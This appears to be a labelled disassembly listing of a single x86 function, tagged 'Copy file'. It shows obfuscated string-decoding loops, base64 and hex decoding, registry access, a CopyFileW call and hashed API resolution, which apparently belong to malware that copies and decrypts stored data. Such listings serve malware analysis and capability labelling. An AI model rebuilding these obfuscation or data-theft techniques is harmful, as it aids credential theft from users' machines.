Function at 0x429e5c
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x460
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x5c], 0x21aa27a9
mov dword [esp + 0x60], 0x5d4123bf
mov dword [esp + 0x64], 0x59085fcb
mov dword [esp + 0x68], 0x55d25bc7
mov dword [esp + 0x6c], 0x515657cb
mov byte [esp + 0x70], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x14
ja 0x42923f
nop
nop
nop
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx ecx, byte [esp + ecx + 0x5c]
mov edx, eax
xor edx, 0xdb4092b9
and eax, 0xdb4092b9
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
mov ecx, edx
not ecx
and ecx, eax
add ecx, eax
not eax
and eax, edx
sub eax, ecx
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x3c]
add al, 0x63
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x5c], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x15
jb 0x4291f0
lea ebx, [esp + 0x5c]
lea ecx, [esp + 0x48]
push ebx
call fcn.0043ee10
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x44d2ac]
lea ecx, [esp + 0x48]
push 0x410
call fcn.0043f060
not eax
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x44d2b4]
mov dword [esp + 0x5c], 0x6a33786d
mov dword [esp + 0x60], 0x607a1570
mov dword [esp + 0x64], 0x747d7311
mov dword [esp + 0x68], 0xf767e1d
mov dword [esp + 0x6c], 0x701b220e
mov dword [esp + 0x70], 0x7645e65
mov dword [esp + 0x74], 0x279667a
mov dword [esp + 0x78], 0xe570c63
mov dword [esp + 0x7c], 0x6e607e62
mov dword [esp + 0x80], 0x16735d61
mov dword [esp + 0x84], 0x8b5a7171
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x2b
ja 0x429323
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx ecx, byte [esp + ecx + 0x5c]
add eax, 0xda6da8ac
xor eax, ecx
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x3c]
add al, 0xa4
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x5c], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x2c
jb 0x4292f0
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x48]
push 0
push 0x2b
push ebx
push eax
call fcn.0043fd40
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x40]
xor eax, eax
cmp edi, esi
sete al
mov dword [esp + 0x34], esi
jmp dword [eax*4 + 0x44d2bc]
mov eax, esi
sub eax, edi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.0040c630
add esp, 4
mov dword [esp + 0x30], 0
xor ecx, ecx
cmp edi, esi
setne cl
mov dword [esp + 0x2c], eax
mov dword [esp + 0x18], eax
jmp dword [ecx*4 + 0x44d2c4]
mov ecx, dword [esp + 0x30]
mov eax, ecx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x44d2cc]
mov ebx, dword [esp + 0x2c]
jmp dword [0x44d32c]
add edi, 8
xor eax, eax
mov esi, dword [esp + 0x34]
cmp edi, esi
setne al
jmp dword [eax*4 + 0x44d2c4]
mov esi, dword [edi]
mov dword [esp + 0x20], edi
mov edi, dword [edi + 4]
push 0x400
push 0
push ebx
call fcn.0040c6b0
add esp, 0xc
lea eax, [esp + 8]
lea ecx, [esp + 0x48]
push eax
push 0
push 0x400
push ebx
push edi
push esi
call fcn.0043fb10
cmp eax, 0xc0000000
setae al
mov ecx, dword [esp + 8]
or ecx, dword [esp + 0xc]
sete cl
or cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44d2d4]
mov eax, 1
mov edi, dword [esp + 0x20]
jmp dword [eax*4 + 0x44d2dc]
xor eax, eax
mov edi, dword [esp + 0x20]
jmp dword [eax*4 + 0x44d2dc]
mov byte [esp + 0x45b], 0
movzx eax, byte [esp + 0x5c]
xor edx, edx
test al, al
je 0x429461
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x2e
je 0x42945f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x429450
jmp 0x429461
mov edx, ecx
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44d2e4]
movzx eax, byte [edx + 1]
inc edx
xor esi, esi
test al, al
mov dword [esp + 0x14], edx
je 0x429491
mov ecx, edx
cmp al, 0x2e
je 0x42948f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x429480
jmp 0x429491
mov esi, ecx
xor eax, eax
test esi, esi
setne al
mov ecx, dword [esp + 0x14]
jmp dword [eax*4 + 0x44d2ec]
mov edx, esi
sub edx, ecx
lea ecx, [edx + edx*2]
shr ecx, 2
movzx eax, byte [esi - 1]
cmp eax, 0x3d
je 0x4294bb
cmp eax, 0x2e
jne 0x4294bc
dec ecx
mov eax, dword [esp + 0x14]
movzx eax, byte [eax + edx - 2]
cmp eax, 0x3d
mov dword [esp + 0x24], edx
je 0x4294d3
cmp eax, 0x2e
jne 0x4294d4
dec ecx
mov dword [esp + 0x58], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040c630
add esp, 4
mov dword [esp + 0x1c], eax
cmp esi, dword [esp + 0x14]
je 0x4295e7
xor ecx, ecx
mov edi, 2
jmp 0x429510
mov ecx, dword [esp + 0x38]
nop
lea eax, [edi + 4]
add edi, 2
cmp edi, edx
mov edi, eax
jae 0x4295e7
mov dword [esp + 0x28], ecx
mov esi, dword [esp + 0x14]
movzx eax, byte [esi + edi - 2]
push eax
call fcn.0041f7b0
add esp, 4
mov ebx, eax
movzx eax, byte [esi + edi - 1]
push eax
call fcn.0041f7b0
add esp, 4
mov bh, al
shl bl, 2
shr al, 4
and al, 3
or al, bl
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x28]
mov byte [ecx + edx], al
lea ecx, [edx + 1]
mov edx, dword [esp + 0x24]
cmp edi, edx
jae 0x429500
mov eax, dword [esp + 0x14]
movzx eax, byte [eax + edi]
push eax
mov esi, ecx
call fcn.0041f7b0
mov ecx, esi
mov edx, dword [esp + 0x28]
add esp, 4
cmp al, 0x40
je 0x429500
mov bl, al
movzx eax, al
mov ecx, eax
not ecx
or ecx, 0x3c
add eax, ecx
inc eax
shl bh, 4
shr eax, 2
add al, bh
mov esi, dword [esp + 0x28]
lea ecx, [esi + 2]
mov dword [esp + 0x38], ecx
mov ecx, dword [esp + 0x1c]
mov byte [ecx + esi + 1], al
lea eax, [edi + 1]
cmp eax, edx
jae 0x4294fb
mov eax, dword [esp + 0x14]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.0041f7b0
mov edx, dword [esp + 0x28]
add esp, 4
cmp al, 0x40
mov ecx, dword [esp + 0x38]
je 0x429500
shl bl, 6
add al, bl
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x28]
mov byte [ecx + esi + 2], al
add esi, 3
mov ecx, esi
jmp 0x429500
mov eax, dword [esp + 0x58]
mov esi, dword [esp + 0x1c]
mov byte [esi + eax], 0
push esi
call fcn.00403bc0
add esp, 4
mov ebx, eax
jmp dword [0x44d2f4]
jmp dword [0x44d300]
mov dword [esp + 8], 0x3994a0a1
mov dword [esp + 0xc], 0
jmp dword [0x44d314]
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 7
ja case.0x42949c.10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 8]
add ecx, 0xa3aa81cb
xor ecx, edx
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x10]
add cl, 9
mov edx, dword [esp + 4]
mov byte [esp + edx + 8], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 8
jb 0x429640
jmp case.0x42949c.10
jmp dword [0x44d320]
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 7
ja 0x429680
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 8]
add ecx, 0xa3aa81cb
xor ecx, edx
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x10]
add cl, 9
mov edx, dword [esp + 4]
mov byte [esp + edx + 8], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 8
jb 0x4296a0
jmp 0x429680
lea ecx, [esp + 8]
push ecx
push eax
call fcn.00404450
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44d324]
mov edx, dword [esp + 0x18]
jmp 0x429723
movzx ecx, byte [eax]
test cl, cl
mov edx, dword [esp + 0x18]
je 0x42971b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x429710
mov word [edx], 0x203a
add edx, 2
movzx eax, byte [esp + 0x5c]
test al, al
je 0x42973b
lea ecx, [esp + 0x5d]
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x429730
mov byte [edx], 0xa
inc edx
mov dword [esp + 0x18], edx
mov al, 1
mov dword [esp + 0x30], eax
jmp case.0x42949c.8
push ebx
call fcn.00404770
add esp, 4
add edi, 8
xor eax, eax
cmp edi, esi
setne al
lea ebx, [esp + 0x5c]
jmp dword [eax*4 + 0x44d2c4]
push esi
call fcn.0040c640
add esp, 4
push esi
call fcn.0040c640
add esp, 4
jmp dword [0x44d308]
push ebx
call fcn.00404500
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
mov edi, dword [esp + 0x20]
mov esi, dword [esp + 0x34]
jmp dword [ecx*4 + 0x44d30c]
xor ecx, ecx
test edi, edi
jne 0x429897
jmp case.0x429252.1
mov ecx, dword [ebp + 8]
mov edx, dword [esp + 0x18]
mov byte [edx], 0
mov ebx, dword [esp + 0x2c]
mov eax, ebx
not eax
and eax, edx
add eax, eax
mov dword [esp + 0x5c], 0x7020151
mov dword [esp + 0x60], 0x33f3e35
mov dword [esp + 0x64], 0x80c0e31
mov dword [esp + 0x68], 0x2a1a3653
mov dword [esp + 0x6c], 0x3f551421
mov dword [esp + 0x70], 0x1923261b
mov dword [esp + 0x74], 0x13165f1b
mov dword [esp + 0x78], 0x75e8
mov byte [esp + 0x7c], 0
xor edx, ebx
sub eax, edx
mov dword [esp + 0x10], 0
mov edx, dword [esp + 0x10]
cmp edx, 0x20
ja 0x429867
nop
mov edx, dword [esp + 0x10]
mov esi, dword [esp + 0x10]
movzx esi, byte [esp + esi + 0x5c]
mov edi, edx
xor edi, 0x330246e4
and edx, 0x330246e4
lea edx, [edi + edx*2]
lea edi, [edx + esi]
and edx, esi
add edx, edx
sub edi, edx
mov dword [esp + 8], edi
mov edx, dword [esp + 8]
add dl, 0x8c
mov esi, dword [esp + 0x10]
mov byte [esp + esi + 0x5c], dl
inc dword [esp + 0x10]
mov edx, dword [esp + 0x10]
cmp edx, 0x21
jb 0x429820
lea edx, [esp + 0x5c]
push eax
push ebx
push edx
call fcn.0040d200
mov ecx, eax
jmp dword [0x44d32c]
push ebx
mov esi, ecx
call fcn.0040c640
mov ecx, esi
add esp, 4
and cl, 1
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x40]
test edi, edi
je case.0x429252.1
cmp edi, esi
je case.0x429252.1
push edi
mov esi, ecx
call fcn.0040c640
mov ecx, esi
add esp, 4
mov ebx, ecx
lea ecx, [esp + 0x48]
call fcn.0043f220
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor ebx, ebx
test ecx, ecx
sete bl
xor edx, edx
jmp dword [ebx*4 + 0x44d394]
jmp dword [edx*4 + 0x44d344]
mov dword [esp + 0x34], 0x29dc2bd8
mov dword [esp + 0x38], 0x2de72fe3
mov dword [esp + 0x3c], 0xd127d3e3
mov dword [esp + 0x40], 0xd520d724
mov dword [esp + 0x44], 0xd926db2b
mov dword [esp + 0x48], 0xdd19df2b
mov dword [esp + 0x4c], 0xc10ac319
mov dword [esp + 0x50], 0xc534c70f
mov dword [esp + 0x54], 0xc936cb0f
mov dword [esp + 0x58], 0xcd3fcf3d
mov dword [esp + 0x5c], 0xf106f306
mov dword [esp + 0x60], 0xf531f709
mov dword [esp + 0x64], 0xf931fb02
mov dword [esp + 0x68], 0xfd04ff04
mov dword [esp + 0x6c], 0xe10ee31b
mov dword [esp + 0x70], 0xe50de77a
mov dword [esp + 0x74], 0xe91feb18
mov dword [esp + 0x78], 0xed05ef7c
mov dword [esp + 0x7c], 0x9101930b
mov word [esp + 0x80], 0x9790
mov byte [edi + 2], 0
mov word [edi], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x50
ja 0x429a27
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x34]
lea esi, [ecx + edx]
add esi, 0x9742bdf7
add ecx, 0x9742bdf7
and ecx, edx
mov edx, esi
xor edx, ecx
add edx, ecx
not ecx
and ecx, esi
add ecx, ecx
sub ecx, edx
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x10]
add cl, 0x2d
mov edx, dword [esp]
mov byte [esp + edx + 0x34], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x51
jb 0x4299e0
lea ecx, [esp + 0x20]
lea ebp, [esp + 0x34]
push 0
push 0
push eax
push ecx
push ebp
call fcn.004453d0
add esp, 0x14
shr eax, 0x1f
jmp dword [eax*4 + 0x44d34c]
lea edi, [esp + 0x98]
lea eax, [esp + 0x2c]
push edi
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [esp + 0x40]
call fcn.00445830
add esp, 0x24
not eax
shr eax, 0x1f
mov ebx, dword [esp + 0xc]
jmp dword [eax*4 + 0x44d354]
mov ecx, dword [esp + 0x98]
lea eax, [ecx*2 + 2]
inc ecx
jns 0x429a93
mov eax, 0xffffffff
push eax
call fcn.0040c630
add esp, 4
mov esi, eax
mov dword [esp + 0x34], 0x3ec01c9
mov dword [esp + 0x38], 0x7f205f7
mov dword [esp + 0x3c], 0xbe609e9
mov dword [esp + 0x40], 0xfde0de0
mov dword [esp + 0x44], 0x13e611f1
mov dword [esp + 0x48], 0x171615fc
mov byte [esp + 0x4c], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x18
ja 0x429b29
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x34]
mov edx, eax
xor edx, 0x9e0817c0
and eax, 0x1e0817c0
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add al, 0x40
mov ecx, dword [esp]
mov byte [esp + ecx + 0x34], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x19
jb 0x429af0
push edi
push esi
push 0
push ebp
push dword [esp + 0x30]
call fcn.00445e50
add esp, 0x14
shr eax, 0x1f
mov ebx, esi
jmp dword [eax*4 + 0x44d35c]
xor ebx, ebx
jmp dword [0x44d364]
push esi
call fcn.0040c640
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x20]
mov dword [esp + 0x34], 0x686b6aca
mov byte [esp + 0x38], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 4
ja 0x429bcc
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x34]
mov esi, ecx
xor esi, 0xb9883967
and ecx, 0x39883967
lea ecx, [esi + ecx*2]
lea esi, [ecx + edx]
and ecx, edx
mov edx, esi
not edx
and edx, ecx
add edx, ecx
not ecx
and ecx, esi
sub ecx, edx
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x10]
add cl, 0xfd
mov edx, dword [esp]
mov byte [esp + edx + 0x34], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 5
jb 0x429b80
mov ecx, dword [0x451454]
test ecx, ecx
mov dword [esp + 0xc], ebx
je 0x429c30
mov edx, dword [esp + 0x34]
xor esi, esi
mov edi, dword [0x451458]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x429c1b
inc esi
cmp ecx, esi
jne 0x429bf0
jmp 0x429c30
mov ecx, 4
xor ebx, ebx
cmp ecx, 4
setb bl
mov eax, 0x20119
xor edx, edx
jmp dword [ebx*4 + 0x44d38c]
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne case.default.0x429c37
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x44d36c]
lea edi, [esp + 0x82]
jmp dword [0x44d378]
push eax
push 1
push dword [0x45145c]
push ecx
call fcn.00441840
add esp, 0x10
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x44d36c]
mov ecx, 2
xor ebx, ebx
cmp ecx, 4
setb bl
mov eax, 0x20119
xor edx, edx
lea edi, [esp + 0x82]
jmp dword [ebx*4 + 0x44d38c]
push ebp
call fcn.00444a30
add esp, 4
push ebp
call fcn.00444a30
add esp, 4
jmp dword [0x44d380]
cmp dword [esp + 0x34], 1
sete cl
and al, cl
movzx eax, al
jmp dword [eax*4 + 0x44d384]
xor ecx, ecx
xor ebx, ebx
cmp ecx, 4
setb bl
mov eax, 0x20119
xor edx, edx
jmp dword [ebx*4 + 0x44d38c]
mov ecx, 2
xor ebx, ebx
cmp ecx, 4
setb bl
mov eax, 0x20119
xor edx, edx
jmp dword [ebx*4 + 0x44d38c]
xor eax, eax
mov esi, dword [esp + 0xc]
test esi, esi
sete al
jmp dword [eax*4 + 0x44d39c]
mov ecx, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x429d20
sub eax, esi
cmp eax, 0xffffffd9
jge 0x429d40
mov eax, 0xffffffff
jmp 0x429d43
xor eax, eax
jmp 0x42ada3
add eax, 0x26
push eax
call fcn.0040c630
add esp, 4
mov edi, eax
mov dword [esp + 0x34], 0x99f79bf8
mov dword [esp + 0x38], 0xa5d4a7e9
mov dword [esp + 0x3c], 0xa1d5a3ce
mov dword [esp + 0x40], 0xadcaafc9
mov dword [esp + 0x44], 0xa9dbabc1
mov dword [esp + 0x48], 0xb5dcb7da
mov dword [esp + 0x4c], 0xb1dbb3c3
mov dword [esp + 0x50], 0xbdc4bf82
mov dword [esp + 0x54], 0xb9d0bbd0
mov word [esp + 0x58], 0xc7b8
mov dword [esp + 0x5a], 0
mov word [esp + 0x5e], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2b
ja 0x429df9
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x34]
mov edx, eax
xor edx, 0x639abf9b
and eax, 0xe39abf9b
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add al, 0xf9
mov ecx, dword [esp]
mov byte [esp + ecx + 0x34], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2c
jb 0x429dc0
movzx ecx, word [esi]
mov eax, edi
test cx, cx
je 0x429e21
lea edx, [esi + 2]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x429e10
mov word [eax], 0
movzx ecx, word [esp + 0x34]
test cx, cx
je 0x429e51
lea edx, [esp + 0x36]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x429e40
mov word [eax], 0
jmp dword [0x44d3a4]
push esi
call fcn.0040c640
add esp, 4
xor eax, eax
cmp word [edi], 0x5b
sete al
jmp dword [eax*4 + 0x44d3ac]
xor eax, eax
cmp word [edi], 0x5b
sete al
jmp dword [eax*4 + 0x44d3ac]
mov dword [esp + 0x34], 0xd1f4cf89
mov dword [esp + 0x38], 0xd5b7d38c
mov dword [esp + 0x3c], 0xd9b8d7a5
mov dword [esp + 0x40], 0xddb1dbbe
mov dword [esp + 0x44], 0xe182dfb5
mov dword [esp + 0x48], 0xe593e385
mov dword [esp + 0x4c], 0xe980e78a
mov dword [esp + 0x50], 0xed83eb83
mov dword [esp + 0x54], 0xf198efc2
mov dword [esp + 0x58], 0xf594f394
mov word [esp + 0x5c], 0xf7f4
mov dword [esp + 0x5e], 0
mov byte [esp + 0x62], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2e
ja 0x429f54
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x34]
mov edx, eax
xor edx, 0x1f5fa8cd
mov esi, eax
xor esi, 0x60a05732
or eax, 0x1f5fa8cd
and eax, esi
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
mov ecx, edx
xor ecx, eax
add ecx, eax
not eax
and eax, edx
add eax, eax
sub eax, ecx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
dec al
mov ecx, dword [esp]
mov byte [esp + ecx + 0x34], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2f
jb 0x429f00
lea eax, [esp + 0x34]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [esp + 0x20]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.00444c60
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x24], edi
jmp dword [eax*4 + 0x44d3b4]
xor edi, edi
xor ebx, ebx
jmp dword [0x44d444]
push dword [esp + 0x24]
call fcn.0040c640
add esp, 4
xor eax, eax
cmp edi, ebx
sete al
jmp dword [eax*4 + 0x44d44c]
xor eax, eax
test edi, edi
jne 0x42ad6e
jmp 0x42ada3
lea eax, [esp + 0x2c]
push 0
push eax
push dword [esp + 0x28]
call fcn.00444fc0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
xor edi, edi
jmp dword [eax*4 + 0x44d3bc]
jmp dword [0x44d3c8]
mov ecx, dword [esp + 0x9c]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
jmp dword [eax*4 + 0x44d48c]
mov eax, dword [ecx]
cmp dword [ecx + 0x18], 3
mov edi, 0
jne case.default.0x42a02b
mov edi, dword [ecx + 0x10]
mov dword [esp + 0x9c], ecx
mov dword [esp + 0x30], eax
test eax, eax
setne al
test edi, edi
setne cl
and cl, al
movzx ecx, cl
mov esi, edi
jmp dword [ecx*4 + 0x44d494]
mov ebx, edi
inc edi
cmp byte [ebx], 0
jne case.0x42a02b.1
mov edi, esi
sub ebx, esi
inc ebx
shr ebx, 1
lea eax, [ebx + 1]
push eax
call fcn.0040c630
add esp, 4
jmp dword [0x44d4a4]
mov dword [esp + 0x90], ebp
mov ebp, eax
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
mov dword [esp + 0x88], eax
jmp dword [edx*4 + 0x44d4ac]
mov byte [ebp], cl
inc ebp
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x44d4ac]
mov dword [esp + 0xc], esi
inc esi
mov edx, ecx
or edx, 0x20
lea edi, [edx - 0x61]
cmp edi, 5
ja case.default.0x42a0cd
and ecx, 0xffffff9e
xor edx, 0xffffff9e
lea ecx, [edx + ecx*2]
add ecx, 0xb
movsx edx, byte [esi]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44d4b4]
add ecx, 0xffffffd0
cmp ecx, 0xa
jb case.default.0x42a0f7
mov ecx, 0xffffffff
movsx edx, byte [esi]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44d4b4]
shl ecx, 4
mov eax, dword [esp + 0xc]
add eax, 2
mov esi, edx
or esi, 0x20
lea edi, [esi - 0x61]
cmp edi, 5
ja case.default.0x42a133
and edx, 0xffffff9e
xor esi, 0xffffff9e
lea edx, [esi + edx*2]
add edx, 0xb
or edx, ecx
mov byte [ebp], dl
inc ebp
movsx ecx, byte [eax]
xor edx, edx
test ecx, ecx
setne dl
mov esi, eax
jmp dword [edx*4 + 0x44d4ac]
mov esi, eax
add edx, 0xffffffd0
cmp edx, 0xa
jb case.default.0x42a15f
mov edx, 0xffffffff
or edx, ecx
mov byte [ebp], dl
inc ebp
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x44d4ac]
mov byte [ebp], 0
push 0
push 0x10
push 0
push dword [esp + 0x3c]
call fcn.0042d260
add esp, 0x10
mov dword [esp + 0xc], eax
mov dword [esp + 0x30], edx
mov ecx, dword [case.0x42a15f.57]
mov dword [esp + 0x94], 0
mov edi, dword [case.0x42a15f.58]
xor eax, eax
mov esi, dword [esp + 8]
cmp esi, dword [esp + 0x28]
setne al
jmp dword [eax*4 + 0x44d4bc]
jmp ecx
mov eax, dword [esi + 4]
mov ebp, eax
shr ebp, 0x1c
shl eax, 4
or eax, 1
xor ebp, dword [esp + 0x30]
xor eax, dword [esp + 0xc]
xor edx, edx
or eax, ebp
sete dl
mov eax, 1
jmp dword [edx*4 + 0x44d4d4]
mov eax, dword [esi]
mov dword [esp + 0x94], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
jmp edi
jmp dword [eax*4 + 0x44d4ec]
add esi, 8
xor eax, eax
cmp esi, dword [esp + 0x28]
setne al
jmp dword [eax*4 + 0x44d4bc]
xor eax, eax
mov ecx, dword [esp + 0x94]
test ecx, ecx
setne al
jmp dword [eax*4 + 0x44d4f4]
mov ebp, dword [esp + 0x90]
mov eax, dword [esp + 0x88]
jmp dword [0x44d504]
mov dword [esp + 0x34], ebx
mov eax, dword [esp + 0x88]
mov dword [esp + 0x38], eax
mov eax, 0xffffffff
mov esi, dword [esp + 0x18]
mov ebp, dword [esp + 0x90]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ecx + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x42a2b8
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
mov dword [esp], 0
mov dword [esp + 4], 0
push 0x6c625980
push dword [0x451460]
mov ebx, ecx
call fcn.00444110
add esp, 8
mov ecx, esp
lea edx, [esp + 0x10]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x4c]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov edi, dword [esp + 8]
jmp dword [ecx*4 + 0x44d4fc]
mov dword [esp + 0x18], esi
mov dword [esp + 8], edi
mov eax, dword [esp + 0x88]
jmp dword [0x44d504]
movzx eax, byte [ebx]
test al, al
je 0x42a2eb
inc ebx
nop
nop
nop
nop
mov byte [esi], al
inc esi
movzx eax, byte [ebx]
inc ebx
test al, al
jne 0x42a2e0
mov word [esi], 0x203a
mov eax, esi
add eax, 2
mov esi, dword [esp]
test esi, esi
je 0x42a32b
mov ecx, dword [esp + 4]
mov edx, esi
and edx, 3
je 0x42a333
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x42a310
add eax, edi
mov edx, esi
sub edx, edi
mov ebx, eax
jmp 0x42a339
mov dword [esp + 8], edi
mov esi, eax
jmp 0x42a379
mov dword [esp + 8], edi
mov edx, esi
cmp esi, 4
mov esi, ebx
jb 0x42a379
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov eax, esi
add edx, 0xfffffffc
jne 0x42a340
mov byte [esi], 0xa
inc esi
mov dword [esp + 0x18], esi
push 0xe050b307
push dword [0x451448]
call fcn.00444110
add esp, 8
push dword [esp + 4]
call eax
mov al, 1
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x88]
jmp dword [0x44d504]
push eax
call fcn.0040c640
add esp, 4
mov ecx, dword [esp + 0x9c]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
jmp dword [eax*4 + 0x44d48c]
add eax, 8
xor esi, esi
xor ebx, ebx
xor edi, edi
jmp 0x42a3ff
not edx
mov ebx, dword [esp + 0x28]
mov ecx, dword [esp + 0x30]
mov edi, dword [esp + 8]
mov dword [edi + ecx + 4], edx
add ebx, 8
add eax, 4
mov ebp, dword [esp + 0x88]
mov eax, dword [eax]
mov ecx, dword [case.0x42ae94.9]
nop
nop
nop
nop
nop
nop
nop
nop
nop
